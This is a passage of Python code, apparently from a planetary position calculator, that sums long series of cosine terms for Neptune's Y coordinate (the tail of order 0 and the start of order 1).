Y0 += 0.00000003723 * math.cos(4.01564769171 + 987.813094522 * self.t)
Y0 += 0.00000004606 * math.cos(0.78314632413 + 14.42521950279 * self.t)
Y0 += 0.00000004236 * math.cos(1.51001695106 + 155.9116617901 * self.t)
Y0 += 0.00000004458 * math.cos(1.07510939804 + 395.8225197225 * self.t)
Y0 += 0.00000004798 * math.cos(3.66850235979 + 530.195415009 * self.t)
Y0 += 0.00000003640 * math.cos(3.79814548576 + 2564.8313897131 * self.t)
Y0 += 0.00000003563 * math.cos(0.66220700888 + 12451.50877558589 * self.t)
Y0 += 0.00000003443 * math.cos(3.70889407011 + 245.2504227591 * self.t)
Y0 += 0.00000003429 * math.cos(3.16343780315 + 530.0466571627 * self.t)
Y0 += 0.00000003872 * math.cos(5.66297097129 + 308.98632106249 * self.t)
Y0 += 0.00000003406 * math.cos(4.31900232100 + 529.82290799351 * self.t)
Y0 += 0.00000004348 * math.cos(3.09499292675 + 20311.92816802509 * self.t)
Y0 += 0.00000004589 * math.cos(3.67073392808 + 181.08713568601 * self.t)
Y0 += 0.00000003854 * math.cos(4.35430550499 + 12564.91104475801 * self.t)
Y0 += 0.00000003789 * math.cos(5.86431526205 + 3101.6359018085 * self.t)
Y0 += 0.00000003783 * math.cos(1.84016316657 + 1614.17130803499 * self.t)
Y0 += 0.00000003904 * math.cos(1.57500723101 + 369.8014580591 * self.t)
Y0 += 0.00000003765 * math.cos(3.13810202386 + 1025.94613015981 * self.t)
Y0 += 0.00000004231 * math.cos(3.78834664840 + 31.52393855141 * self.t)
Y0 += 0.00000004303 * math.cos(3.40265517593 + 396.785727569 * self.t)
Y0 += 0.00000004085 * math.cos(0.23841437878 + 14.47091148511 * self.t)
Y0 += 0.00000004085 * math.cos(3.38000703237 + 13.9832765181 * self.t)
Y0 += 0.00000003346 * math.cos(0.20283168925 + 20351.54567637119 * self.t)
Y0 += 0.00000004021 * math.cos(4.51457854549 + 748.3416874468 * self.t)
Y0 += 0.00000003753 * math.cos(2.74283876055 + 524.99372948619 * self.t)
Y0 += 0.00000003935 * math.cos(2.81201754924 + 1617.14025345159 * self.t)
Y0 += 0.00000004432 * math.cos(5.02857999493 + 511.3515908212 * self.t)
Y0 += 0.00000004170 * math.cos(2.85784811733 + 274.87931477991 * self.t)
Y0 += 0.00000003317 * math.cos(3.36427187559 + 266.70868384049 * self.t)
Y0 += 0.00000004545 * math.cos(2.99451528962 + 244.5624015585 * self.t)
Y0 += 0.00000003589 * math.cos(6.26623778468 + 59.526297662 * self.t)
Y0 += 0.00000003464 * math.cos(1.94815791367 + 102.27950776349 * self.t)
Y0 += 0.00000004526 * math.cos(2.98322850842 + 525.7901809939 * self.t)
Y0 += 0.00000004603 * math.cos(2.83181132811 + 26088.1469590577 * self.t)
Y0 += 0.00000004021 * math.cos(3.81502221170 + 52174.56562792359 * self.t)
Y0 += 0.00000003276 * math.cos(3.52742657818 + 1306.3774580875 * self.t)
Y0 += 0.00000003214 * math.cos(5.51315121035 + 20348.57673095459 * self.t)
Y0 += 0.00000003706 * math.cos(3.68281338464 + 27.07052042651 * self.t)
Y0 += 0.00000003759 * math.cos(5.89324799399 + 164.83974989929 * self.t)
Y0 += 0.00000003184 * math.cos(0.44574677170 + 538.0115374254 * self.t)
Y0 += 0.00000004430 * math.cos(3.80837870078 + 529.6741501472 * self.t)
Y0 += 0.00000004064 * math.cos(2.60402368915 + 6130.2998899567 * self.t)
Y0 += 0.00000003918 * math.cos(5.77655218093 + 375.43053235159 * self.t)
Y0 += 0.00000004058 * math.cos(3.56233663362 + 433.4342904985 * self.t)
Y0 += 0.00000003919 * math.cos(1.93774102166 + 1092.8177302186 * self.t)
Y0 += 0.00000003919 * math.cos(5.07933367525 + 1093.3053651856 * self.t)
Y0 += 0.00000003175 * math.cos(2.71648311000 + 241.3664536058 * self.t)
Y0 += 0.00000003135 * math.cos(1.09798751738 + 127.22797912329 * self.t)
Y0 += 0.00000003834 * math.cos(3.42021462454 + 14.3133449182 * self.t)
Y0 += 0.00000004022 * math.cos(0.15000192924 + 1477.8383671607 * self.t)
Y0 += 0.00000003221 * math.cos(2.66340709341 + 78.1611178062 * self.t)
Y0 += 0.00000003426 * math.cos(4.77405099085 + 519.8522901607 * self.t)
Y0 += 0.00000004369 * math.cos(2.32053270413 + 746.3695797715 * self.t)
Y0 += 0.00000003160 * math.cos(3.58900877772 + 664.99569906519 * self.t)
Y0 += 0.00000004060 * math.cos(4.49008083850 + 51.87023394 * self.t)
Y0 += 0.00000003107 * math.cos(3.81160836398 + 28.9275001503 * self.t)
Y0 += 0.00000003259 * math.cos(0.91022076156 + 657.8821520644 * self.t)
Y0 += 0.00000003428 * math.cos(2.81213415208 + 2351.5322942751 * self.t)
Y0 += 0.00000003235 * math.cos(0.07612839981 + 406.3469551246 * self.t)
Y0 += 0.00000003161 * math.cos(0.98519827646 + 982.8720414301 * self.t)
Y0 += 0.00000004351 * math.cos(2.61742468676 + 20388.19423930069 * self.t)
Y0 += 0.00000003384 * math.cos(1.87729416709 + 660.851097481 * self.t)
Y0 += 0.00000003452 * math.cos(5.96738985165 + 326.1823604807 * self.t)
Y0 += 0.00000003298 * math.cos(1.72568702486 + 1403.84115801359 * self.t)
Y0 += 0.00000003278 * math.cos(5.26025413610 + 941.7700603757 * self.t)
Y0 += 0.00000003723 * math.cos(0.29723150363 + 451.9572360581 * self.t)
Y0 += 0.00000003173 * math.cos(0.75401885480 + 1400.87221259699 * self.t)
Y0 += 0.00000004113 * math.cos(3.44518846630 + 1049.31625271919 * self.t)
Y0 += 0.00000004012 * math.cos(0.58002417229 + 52.6039471229 * self.t)
Y0 += 0.00000004142 * math.cos(0.18543891861 + 978.6792557361 * self.t)
Y0 += 0.00000004295 * math.cos(2.94382365877 + 875.58648151749 * self.t)
Y0 += 0.00000003224 * math.cos(5.39074920150 + 459.1189671687 * self.t)
Y0 += 0.00000003151 * math.cos(2.11925788926 + 381.8560581518 * self.t)
Y0 += 0.00000003633 * math.cos(6.09798622690 + 256.78375799 * self.t)
Y0 += 0.00000004250 * math.cos(4.81834414256 + 528.71094230071 * self.t)
Y0 += 0.00000004186 * math.cos(3.66267284521 + 943.25453308399 * self.t)
Y0 += 0.00000003406 * math.cos(1.82206499429 + 170.46882419179 * self.t)
Y0 += 0.00000003231 * math.cos(6.18447276533 + 400.8209466961 * self.t)
Y0 += 0.00000003726 * math.cos(5.26557613435 + 1096.48675892331 * self.t)
Y0 += 0.00000003792 * math.cos(5.46702979448 + 111.9346114112 * self.t)
Y0 += 0.00000003651 * math.cos(6.14012974300 + 154.42718908179 * self.t)
Y0 += 0.00000003839 * math.cos(4.02729058795 + 10060.50958617629 * self.t)
Y0 += 0.00000003356 * math.cos(5.33785023580 + 1586.34776735071 * self.t)
Y0 += 0.00000003219 * math.cos(1.26547692662 + 213.7096692603 * self.t)
Y0 += 0.00000003671 * math.cos(3.08823320781 + 57.6023740965 * self.t)
Y0 += 0.00000004187 * math.cos(1.86321883254 + 2772.54460848389 * self.t)
Y0 += 0.00000002960 * math.cos(3.77221652347 + 2461.7386154945 * self.t)
Y0 += 0.00000003331 * math.cos(2.38361288630 + 10133.80671203529 * self.t)
Y0 += 0.00000003341 * math.cos(2.74911210318 + 243.7659500508 * self.t)
Y0 += 0.00000003466 * math.cos(0.02652921265 + 1150.92455422949 * self.t)
Y0 += 0.00000003296 * math.cos(5.06897390591 + 1653.78881638109 * self.t)
Y0 += 0.00000003014 * math.cos(3.47171849350 + 1477.3989163035 * self.t)
Y0 += 0.00000004118 * math.cos(1.26070911091 + 25596.5890296009 * self.t)
Y0 += 0.00000002951 * math.cos(3.47218747597 + 42.78208713641 * self.t)
Y0 += 0.00000002951 * math.cos(4.00999244396 + 33.9716191062 * self.t)
Y0 += 0.00000003830 * math.cos(3.02640541849 + 323.48860171 * self.t)
Y0 += 0.00000003313 * math.cos(3.21919687279 + 939.1099314998 * self.t)
Y0 += 0.00000003031 * math.cos(4.32205791511 + 156450.90896068608 * self.t)
Y0 += 0.00000003606 * math.cos(2.35740018537 + 1082.2596649217 * self.t)
Y0 += 0.00000002967 * math.cos(4.72619454182 + 6.3941566378 * self.t)
Y0 += 0.00000002995 * math.cos(5.12808890644 + 139.7099679857 * self.t)
Y0 += 0.00000003251 * math.cos(1.93107151339 + 709.29362807231 * self.t)
Y0 += 0.00000003480 * math.cos(2.18796105799 + 518.1408149163 * self.t)
Y0 += 0.00000003906 * math.cos(4.41951013162 + 1119.90506559249 * self.t)
Y0 += 0.00000003406 * math.cos(3.42602191152 + 148.79811478929 * self.t)
Y0 += 0.00000003359 * math.cos(0.17159576955 + 642.8494167832 * self.t)
Y0 += 0.00000003027 * math.cos(5.00980281133 + 184.0078969928 * self.t)
Y0 += 0.00000002918 * math.cos(0.68786396977 + 83.6234357599 * self.t)
Y0 += 0.00000003347 * math.cos(4.53587187847 + 217.68751450571 * self.t)
Y0 += 0.00000003277 * math.cos(1.84412902317 + 912.5438609877 * self.t)
Y0 += 0.00000003277 * math.cos(4.98572167676 + 913.03149595471 * self.t)
Y0 += 0.00000003196 * math.cos(4.27207353253 + 363.1061100561 * self.t)
Y0 += 0.00000002869 * math.cos(2.93254803921 + 285.35556607221 * self.t)
Y0 += 0.00000003158 * math.cos(5.89391855080 + 540.01727499551 * self.t)
Y0 += 0.00000002810 * math.cos(3.57723287116 + 1592.2856581839 * self.t)
Y0 += 0.00000003471 * math.cos(4.56081319778 + 144.39038864671 * self.t)
Y0 += 0.00000003159 * math.cos(5.71530971815 + 197.5561595657 * self.t)
Y0 += 0.00000003227 * math.cos(1.02602355265 + 6203.5970158157 * self.t)
Y0 += 0.00000003750 * math.cos(1.09900342443 + 303.35724676999 * self.t)
Y0 += 0.00000003848 * math.cos(4.95190461444 + 26048.04181574459 * self.t)
Y0 += 0.00000002741 * math.cos(0.13004673727 + 70.8326303568 * self.t)
Y0 += 0.00000002826 * math.cos(3.64821843137 + 460.2946233363 * self.t)
Y0 += 0.00000002748 * math.cos(5.69617268740 + 600.52359545141 * self.t)
Y0 += 0.00000003057 * math.cos(4.56550138397 + 23.81969071961 * self.t)
Y0 += 0.00000003057 * math.cos(6.05827118955 + 52.934015523 * self.t)
Y0 += 0.00000003446 * math.cos(1.96967013470 + 500.1391342185 * self.t)
Y0 += 0.00000002703 * math.cos(6.26272265860 + 908.0904428628 * self.t)
Y0 += 0.00000002817 * math.cos(1.69638906604 + 210.6221516147 * self.t)
Y0 += 0.00000002848 * math.cos(1.16888883373 + 450.4727633498 * self.t)
Y0 += 0.00000002724 * math.cos(5.64910484087 + 23.18655127321 * self.t)
Y0 += 0.00000002905 * math.cos(1.13800629851 + 149.3193796511 * self.t)
Y0 += 0.00000002848 * math.cos(1.48842245891 + 622.66987773339 * self.t)
Y0 += 0.00000002733 * math.cos(1.93636126616 + 262.72164882321 * self.t)
Y0 += 0.00000002863 * math.cos(2.26914213515 + 175.57663362249 * self.t)
Y0 += 0.00000002681 * math.cos(5.83048409789 + 25.1922888433 * self.t)
Y0 += 0.00000002822 * math.cos(0.00883588585 + 259.7527034066 * self.t)
Y0 += 0.00000003174 * math.cos(1.47302873031 + 347.1193567003 * self.t)
Y0 += 0.00000003271 * math.cos(2.97328046332 + 458.5977023069 * self.t)
Y0 += 0.00000002894 * math.cos(5.75207939107 + 71.82946809809 * self.t)
Y0 += 0.00000003490 * math.cos(1.28003658954 + 664.3713683394 * self.t)
Y0 += 0.00000003506 * math.cos(3.91611653269 + 771.3481117113 * self.t)
Y0 += 0.00000003326 * math.cos(0.55224065588 + 45.2297676912 * self.t)
Y0 += 0.00000002988 * math.cos(4.94563705230 + 299.37021175271 * self.t)
Y0 += 0.00000002916 * math.cos(5.17859920603 + 6642.8480002783 * self.t)
Y0 += 0.00000002916 * math.cos(5.17859920603 + 6643.3356352453 * self.t)
Y0 += 0.00000002630 * math.cos(5.83933407803 + 2751.79141717511 * self.t)
Y0 += 0.00000002903 * math.cos(5.88134941337 + 477.08701797169 * self.t)
Y0 += 0.00000002804 * math.cos(4.97695491059 + 6681.46867088311 * self.t)
Y0 += 0.00000002622 * math.cos(0.73099530901 + 521.8580277308 * self.t)
Y0 += 0.00000002606 * math.cos(1.44468831628 + 410.8552550037 * self.t)
Y0 += 0.00000003046 * math.cos(0.79307135358 + 959.45373476091 * self.t)
Y0 += 0.00000003127 * math.cos(1.47432830628 + 225.5518210319 * self.t)
Y0 += 0.00000002700 * math.cos(2.88388264285 + 963.6465204549 * self.t)
Y0 += 0.00000002778 * math.cos(3.22939757518 + 238.39750818919 * self.t)
Y0 += 0.00000003029 * math.cos(0.01392036536 + 473.2185551834 * self.t)
Y0 += 0.00000002671 * math.cos(3.02950363348 + 531.9405201482 * self.t)
Y0 += 0.00000002914 * math.cos(2.29089443923 + 554.31380496631 * self.t)
Y0 += 0.00000003087 * math.cos(1.37613019083 + 340.2664421304 * self.t)
Y0 += 0.00000003438 * math.cos(3.89546045811 + 6171.40187101109 * self.t)
Y0 += 0.00000002879 * math.cos(4.04729837696 + 218.6507223522 * self.t)
Y0 += 0.00000003140 * math.cos(3.44921752602 + 609.1216151605 * self.t)
Y0 += 0.00000003003 * math.cos(5.24831469226 + 464.97504399731 * self.t)
Y0 += 0.00000003257 * math.cos(6.23715182295 + 305.96249389171 * self.t)
Y0 += 0.00000003211 * math.cos(0.93594149210 + 416.532513406 * self.t)
Y0 += 0.00000003265 * math.cos(6.26189223545 + 24.7347144563 * self.t)
Y0 += 0.00000002644 * math.cos(5.73202797797 + 508.5941415757 * self.t)
Y0 += 0.00000002764 * math.cos(0.26986971158 + 410.59462257279 * self.t)
Y0 += 0.00000003428 * math.cos(0.99849665750 + 1012.6195056799 * self.t)
Y0 += 0.00000002614 * math.cos(2.50560328703 + 213.5910970313 * self.t)
Y0 += 0.00000003469 * math.cos(3.71563719744 + 24.14975911971 * self.t)
Y0 += 0.00000002606 * math.cos(5.52398994555 + 213.4947288117 * self.t)
Y0 += 0.00000003444 * math.cos(0.99352524535 + 891.57323487331 * self.t)
Y0 += 0.00000002540 * math.cos(5.89247404448 + 564.8718702632 * self.t)
Y0 += 0.00000002540 * math.cos(2.75088139089 + 565.35950523021 * self.t)
Y0 += 0.00000002754 * math.cos(4.26615188091 + 57.5541899867 * self.t)
Y0 += 0.00000002531 * math.cos(2.16100356086 + 800.5924346291 * self.t)
Y0 += 0.00000002557 * math.cos(2.24078889519 + 341.49028240779 * self.t)
Y0 += 0.00000002601 * math.cos(2.97805958626 + 261.2371761149 * self.t)
Y0 += 0.00000003027 * math.cos(1.77262933089 + 331.07772159029 * self.t)
Y0 += 0.00000002494 * math.cos(5.29381091116 + 203.9816853659 * self.t)
Y0 += 0.00000002590 * math.cos(3.33405614398 + 1190.5420625756 * self.t)
Y0 += 0.00000003494 * math.cos(1.33796606005 + 534.0793841623 * self.t)
Y0 += 0.00000003144 * math.cos(1.59061342897 + 1503.9649868156 * self.t)
Y0 += 0.00000002818 * math.cos(2.04818816564 + 49.31067880061 * self.t)
Y0 += 0.00000002791 * math.cos(2.91527039269 + 288.32451148881 * self.t)
Y0 += 0.00000002471 * math.cos(2.80089246981 + 411.11588743459 * self.t)
Y0 += 0.00000003059 * math.cos(1.73898053758 + 172.48911597691 * self.t)
Y0 += 0.00000002972 * math.cos(5.01468129705 + 569.29165849331 * self.t)
Y0 += 0.00000003418 * math.cos(3.83213917567 + 638.3959986583 * self.t)
Y0 += 0.00000002541 * math.cos(3.41936535077 + 1448.09090291091 * self.t)
Y0 += 0.00000002663 * math.cos(5.14390724060 + 573.6968925084 * self.t)
Y0 += 0.00000002439 * math.cos(2.82552552997 + 1625.9652756968 * self.t)
Y0 += 0.00000002739 * math.cos(1.01296407856 + 112.8832650427 * self.t)
Y0 += 0.00000002821 * math.cos(4.09784112299 + 402.93606672331 * self.t)
Y0 += 0.00000003412 * math.cos(5.98246878418 + 772.8325844196 * self.t)
Y0 += 0.00000002624 * math.cos(4.28449219810 + 1624.4808029885 * self.t)
Y0 += 0.00000003170 * math.cos(2.10762429629 + 1011.13503297159 * self.t)
Y0 += 0.00000002908 * math.cos(3.03870325402 + 635.94831810351 * self.t)
Y0 += 0.00000002664 * math.cos(4.25083112029 + 409.41896640519 * self.t)
Y0 += 0.00000003091 * math.cos(0.31165645931 + 379.25961975071 * self.t)
Y0 += 0.00000003301 * math.cos(3.48430565498 + 19.7936613644 * self.t)
Y0 += 0.00000003176 * math.cos(4.86809762289 + 300.9095662152 * self.t)
Y0 += 0.00000003022 * math.cos(4.37742921398 + 52.0189917863 * self.t)
Y0 += 0.00000002890 * math.cos(6.24788645936 + 293.4323209195 * self.t)
Y0 += 0.00000002698 * math.cos(3.26450368524 + 78149.06650032569 * self.t)
Y0 += 0.00000002558 * math.cos(2.31657732137 + 1371.3371966683 * self.t)
Y0 += 0.00000002619 * math.cos(5.37658613752 + 202.0095776906 * self.t)
Y0 += 0.00000003176 * math.cos(5.32134696018 + 10101.61156723069 * self.t)
Y0 += 0.00000003341 * math.cos(3.91159951862 + 345.8955164229 * self.t)
Y0 += 0.00000002373 * math.cos(0.25236813570 + 130.8513158457 * self.t)
Y0 += 0.00000002644 * math.cos(4.25178872695 + 305.10235190919 * self.t)
Y0 += 0.00000003339 * math.cos(3.06224357085 + 2849.2983147265 * self.t)
Y0 += 0.00000002410 * math.cos(3.15243245459 + 951.8525527931 * self.t)
Y0 += 0.00000003303 * math.cos(3.82850925169 + 769.5729459921 * self.t)
Y0 += 0.00000003302 * math.cos(3.28815049288 + 90.1520274241 * self.t)
Y0 += 0.00000002416 * math.cos(4.43555947495 + 527.929045008 * self.t)
Y0 += 0.00000002361 * math.cos(0.63550285699 + 905.1214974462 * self.t)
Y0 += 0.00000002737 * math.cos(3.20111311776 + 1206.2199993907 * self.t)
Y0 += 0.00000002441 * math.cos(5.40055208431 + 246.73489546739 * self.t)
Y0 += 0.00000002441 * math.cos(5.40055208431 + 247.2225304344 * self.t)
Y0 += 0.00000002957 * math.cos(2.68753178821 + 238.23075185041 * self.t)
Y0 += 0.00000003263 * math.cos(2.55710522617 + 1506.93393223219 * self.t)
Y0 += 0.00000003293 * math.cos(1.22031676357 + 66.1522096958 * self.t)
Y0 += 0.00000003241 * math.cos(5.00885682863 + 978.4186233052 * self.t)
Y0 += 0.00000003149 * math.cos(2.07892234370 + 271.9103693633 * self.t)
Y0 += 0.00000003149 * math.cos(5.22051499729 + 271.4227343963 * self.t)
Y0 += 0.00000002328 * math.cos(0.36371018198 + 31.73887900 * self.t)
Y0 += 0.00000002372 * math.cos(2.25731707420 + 309.0345051723 * self.t)
Y0 += 0.00000002372 * math.cos(2.25731707420 + 309.5221401393 * self.t)
Y0 += 0.00000002369 * math.cos(5.90092450419 + 418.9801939608 * self.t)
Y0 += 0.00000003007 * math.cos(6.21088893213 + 1437.7814079574 * self.t)
Y0 += 0.00000003034 * math.cos(4.41266493573 + 330.8627811417 * self.t)
Y0 += 0.00000002345 * math.cos(4.37756786631 + 453.9318358609 * self.t)
Y0 += 0.00000003118 * math.cos(5.30478414038 + 1434.81246254079 * self.t)
Y0 += 0.00000002324 * math.cos(5.43011369487 + 495.2462652364 * self.t)
Y0 += 0.00000002340 * math.cos(0.70753572900 + 452.43031681009 * self.t)
Y0 += 0.00000002336 * math.cos(1.61735465920 + 189.591279303 * self.t)
Y0 += 0.00000002920 * math.cos(2.21678930184 + 1549.69920442121 * self.t)
Y0 += 0.00000002494 * math.cos(2.36432658211 + 1187.57311715899 * self.t)
Y0 += 0.00000002692 * math.cos(5.74887255496 + 425.13053311509 * self.t)
Y0 += 0.00000002874 * math.cos(3.06187769177 + 1654.2764513481 * self.t)
Y0 += 0.00000002809 * math.cos(0.95838272583 + 317.5843407716 * self.t)
Y0 += 0.00000002735 * math.cos(2.36910571540 + 1513.05064149171 * self.t)
Y0 += 0.00000002949 * math.cos(4.69913732218 + 186.71620997851 * self.t)
Y0 += 0.00000002320 * math.cos(2.31406529898 + 487.38195871019 * self.t)
Y0 += 0.00000003113 * math.cos(4.63822476931 + 353.28425006961 * self.t)
Y0 += 0.00000003086 * math.cos(3.30396670519 + 1230.5990217789 * self.t)
Y0 += 0.00000002722 * math.cos(0.59415160235 + 49.6831858161 * self.t)
Y0 += 0.00000003064 * math.cos(2.11685584705 + 133.13224006171 * self.t)
Y0 += 0.00000003064 * math.cos(5.25844850064 + 132.64460509469 * self.t)
Y0 += 0.00000002470 * math.cos(1.21163683322 + 532.3824631329 * self.t)
Y0 += 0.00000002640 * math.cos(5.23029870928 + 394.33804701421 * self.t)
Y0 += 0.00000002252 * math.cos(3.41692637069 + 22.6507321964 * self.t)
Y0 += 0.00000003151 * math.cos(3.68959728933 + 859.77184894361 * self.t)
Y0 += 0.00000002671 * math.cos(2.49225273236 + 37.3679532925 * self.t)
Y0 += 0.00000002380 * math.cos(2.43767088034 + 429.2751346993 * self.t)
Y0 += 0.00000002655 * math.cos(4.29167785274 + 484.1523808627 * self.t)
Y0 += 0.00000003005 * math.cos(4.59447567553 + 1929.33933741419 * self.t)
Y0 += 0.00000002550 * math.cos(0.89259009595 + 496.9431862658 * self.t)
Y0 += 0.00000002290 * math.cos(4.98199823333 + 455.18681390559 * self.t)
Y0 += 0.00000002608 * math.cos(2.28446271246 + 422.9580392062 * self.t)
Y0 += 0.00000002226 * math.cos(0.52897898579 + 47.82620609231 * self.t)
Y0 += 0.00000002233 * math.cos(3.36949240110 + 877.3461408717 * self.t)
Y0 += 0.00000002764 * math.cos(2.40581332791 + 356.68058425589 * self.t)
Y0 += 0.00000002719 * math.cos(3.56033366747 + 177.5823711926 * self.t)
Y0 += 0.00000002999 * math.cos(3.63965245652 + 1926.37039199759 * self.t)
Y0 += 0.00000002693 * math.cos(2.00893145868 + 6284.8041401832 * self.t)
Y0 += 0.00000002369 * math.cos(5.90816921383 + 70.88081446661 * self.t)
Y0 += 0.00000002498 * math.cos(2.14771583991 + 315.1512144318 * self.t)
Y0 += 0.00000002204 * math.cos(4.77545839271 + 442.886135597 * self.t)
Y0 += 0.00000002261 * math.cos(4.89614385698 + 621.2335891349 * self.t)
Y0 += 0.00000002213 * math.cos(1.45024938630 + 1189.0575898673 * self.t)
Y0 += 0.00000002492 * math.cos(4.24445703283 + 406.9712858504 * self.t)
Y0 += 0.00000002976 * math.cos(3.02481916981 + 1014.1039783882 * self.t)
Y0 += 0.00000002840 * math.cos(0.64471611311 + 522.3336006103 * self.t)
Y0 += 0.00000002340 * math.cos(3.29528259310 + 440.43845504219 * self.t)
Y0 += 0.00000003012 * math.cos(2.70591736862 + 15.9096922111 * self.t)
Y0 += 0.00000003012 * math.cos(2.70591736862 + 16.3973271781 * self.t)
Y0 += 0.00000002372 * math.cos(1.81307027955 + 132.5964209849 * self.t)
Y0 += 0.00000002232 * math.cos(3.99248125271 + 158.12984768129 * self.t)
Y0 += 0.00000002961 * math.cos(5.94214048852 + 286.3524038135 * self.t)
Y0 += 0.00000002961 * math.cos(2.80054783493 + 286.8400387805 * self.t)
# Neptune_Y1 (t) // 342 terms of order 1
Y1 = 0
Y1 += 0.00357822049 * math.cos(3.03457804662 + 0.2438174835 * self.t)
Y1 += 0.00256200629 * math.cos(0.44613631554 + 36.892380413 * self.t)
Y1 += 0.00242677799 * math.cos(3.89213848413 + 39.86132582961 * self.t)
Y1 += 0.00106073143 * math.cos(4.64936068389 + 37.88921815429 * self.t)
Y1 += 0.00103735195 * math.cos(4.51191141127 + 38.3768531213 * self.t)
Y1 += 0.00118508231 * math.cos(1.31543504055 + 76.50988875911 * self.t)
Y1 += 0.00021930692 * math.cos(1.62939936370 + 35.40790770471 * self.t)
Y1 += 0.00017445772 * math.cos(2.69316438174 + 41.3457985379 * self.t)
Y1 += 0.00013038843 * math.cos(3.79605108858 + 3.21276290011 * self.t)
Y1 += 0.00004928885 * math.cos(0.51813571490 + 73.5409433425 * self.t)
Y1 += 0.00002742686 * math.cos(2.49310000815 + 77.9943614674 * self.t)
Y1 += 0.00002155134 * math.cos(2.54801435750 + 4.6972356084 * self.t)
Y1 += 0.00001882800 * math.cos(2.84958651579 + 33.9234349964 * self.t)
Y1 += 0.00001572888 * math.cos(5.79049449823 + 114.6429243969 * self.t)
Y1 += 0.00001326507 * math.cos(4.45906236203 + 75.0254160508 * self.t)
Y1 += 0.00001343094 * math.cos(1.46758582116 + 42.83027124621 * self.t)
Y1 += 0.00000897979 * math.cos(2.69913392072 + 426.8420083595 * self.t)
Y1 += 0.00000865617 * math.cos(0.09538823497 + 37.8555882595 * self.t)
Y1 += 0.00000849963 * math.cos(4.24519902715 + 38.89811798311 * self.t)
Y1 += 0.00000922754 * math.cos(1.77437053635 + 72.05647063421 * self.t)
Y1 += 0.00000726258 * math.cos(5.81913445111 + 36.404745446 * self.t)
Y1 += 0.00000778220 * math.cos(4.27400223412 + 206.42936592071 * self.t)
Y1 += 0.00000754025 * math.cos(3.76126183394 + 220.6564599223 * self.t)
Y1 += 0.00000607406 * math.cos(4.81815513635 + 1059.6257476727 * self.t)
Y1 += 0.00000571831 * math.cos(0.85851242227 + 522.8212355773 * self.t)
Y1 += 0.00000560995 * math.cos(0.34476353479 + 537.0483295789 * self.t)
Y1 += 0.00000501078 * math.cos(0.14255476727 + 28.81562556571 * self.t)
Y1 += 0.00000493238 * math.cos(0.53463363296 + 39.3736908626 * self.t)
Y1 += 0.00000474802 * math.cos(5.97795229031 + 98.6561710411 * self.t)
Y1 += 0.00000453975 * math.cos(0.14363576661 + 35.9291725665 * self.t)
Y1 += 0.00000471731 * math.cos(3.27137539235 + 1.7282901918 * self.t)
Y1 += 0.00000410057 * math.cos(4.19500321025 + 40.8245336761 * self.t)
Y1 += 0.00000366899 * math.cos(4.19675940250 + 47.9380806769 * self.t)
Y1 += 0.00000450109 * math.cos(2.82750084230 + 76.0222537921 * self.t)
Y1 += 0.00000354347 * math.cos(1.55870450456 + 1.24065522479 * self.t)
Y1 += 0.00000300159 * math.cos(1.31608359577 + 6.1817083167 * self.t)
Y1 += 0.00000327501 * math.cos(5.77559197316 + 33.43580002939 * self.t)
Y1 += 0.00000174973 * math.cos(4.06947925642 + 32.4389622881 * self.t)
Y1 += 0.00000171503 * math.cos(2.86905921629 + 34.1840674273 * self.t)
Y1 += 0.00000156749 * math.cos(1.02465451730 + 79.47883417571 * self.t)
Y1 += 0.00000152549 * math.cos(5.29458792782 + 30.300098274 * self.t)
Y1 += 0.00000150775 * math.cos(1.46875297221 + 42.5696388153 * self.t)
Y1 += 0.00000162280 * math.cos(5.51215947389 + 31.2633061205 * self.t)
Y1 += 0.00000131609 * math.cos(3.19975255613 + 7.83293736379 * self.t)
Y1 += 0.00000136159 * math.cos(3.00798814109 + 70.5719979259 * self.t)
Y1 += 0.00000134616 * math.cos(5.10422989672 + 45.49040012211 * self.t)
Y1 += 0.00000116304 * math.cos(5.32949492640 + 46.4536079686 * self.t)
Y1 += 0.00000115918 * math.cos(0.24763705851 + 44.31474395451 * self.t)
Y1 += 0.00000110293 * math.cos(4.69481457289 + 35.4560918145 * self.t)
Y1 += 0.00000099282 * math.cos(0.34979488247 + 2.7251279331 * self.t)
Y1 += 0.00000099914 * math.cos(5.92865840649 + 41.2976144281 * self.t)
Y1 += 0.00000108706 * math.cos(1.52062460635 + 113.15845168861 * self.t)
Y1 += 0.00000088965 * math.cos(5.83760483379 + 60.52313540329 * self.t)
Y1 += 0.00000086886 * math.cos(0.75633169755 + 31.9513273211 * self.t)
Y1 += 0.00000072232 * math.cos(1.93507773057 + 640.1411037975 * self.t)
Y1 += 0.00000086985 * math.cos(3.23018942725 + 419.72846135871 * self.t)
Y1 += 0.00000073430 * math.cos(5.93590859407 + 70.08436295889 * self.t)
Y1 += 0.00000053395 * math.cos(2.89441175199 + 433.9555553603 * self.t)
Y1 += 0.00000057451 * math.cos(5.79242631159 + 213.5429129215 * self.t)
Y1 += 0.00000051458 * math.cos(2.44646741842 + 69.3963417583 * self.t)
Y1 += 0.00000048797 * math.cos(4.44285537763 + 111.67397898031 * self.t)
Y1 += 0.00000048557 * math.cos(1.53569583062 + 2.6769438233 * self.t)
Y1 += 0.00000042206 * math.cos(4.80902694866 + 74.53778108379 * self.t)
Y1 += 0.00000042550 * math.cos(0.10167685669 + 7.66618102501 * self.t)
Y1 += 0.00000039462 * math.cos(4.26971409186 + 31.7845709823 * self.t)
Y1 += 0.00000039445 * math.cos(5.65869884949 + 12.77399045571 * self.t)
Y1 += 0.00000042389 * math.cos(4.01940273222 + 110.189506272 * self.t)
Y1 += 0.00000044118 * math.cos(5.15854031484 + 1589.3167127673 * self.t)
Y1 += 0.00000037988 * math.cos(4.30930512095 + 6.3484646555 * self.t)
Y1 += 0.00000037802 * math.cos(4.41701497532 + 14.258463164 * self.t)
Y1 += 0.00000036280 * math.cos(1.56655638104 + 273.8222308413 * self.t)
Y1 += 0.00000037247 * math.cos(6.20048406786 + 73.0533083755 * self.t)
Y1 += 0.00000036282 * math.cos(1.28256818253 + 84.5866436064 * self.t)
Y1 += 0.00000040018 * math.cos(2.70338838405 + 4.4366031775 * self.t)
Y1 += 0.00000032400 * math.cos(0.07249247133 + 44.96913526031 * self.t)
Y1 += 0.00000031842 * math.cos(0.45413330049 + 34.9202727377 * self.t)
Y1 += 0.00000032037 * math.cos(1.37472212177 + 27.3311528574 * self.t)
Y1 += 0.00000034456 * math.cos(1.80072966680 + 529.9347825781 * self.t)
Y1 += 0.00000031208 * math.cos(0.16340478702 + 1052.51220067191 * self.t)
Y1 += 0.00000030002 * math.cos(0.76559925402 + 1066.7392946735 * self.t)
Y1 += 0.00000033805 * math.cos(4.47034863791 + 149.8070146181 * self.t)
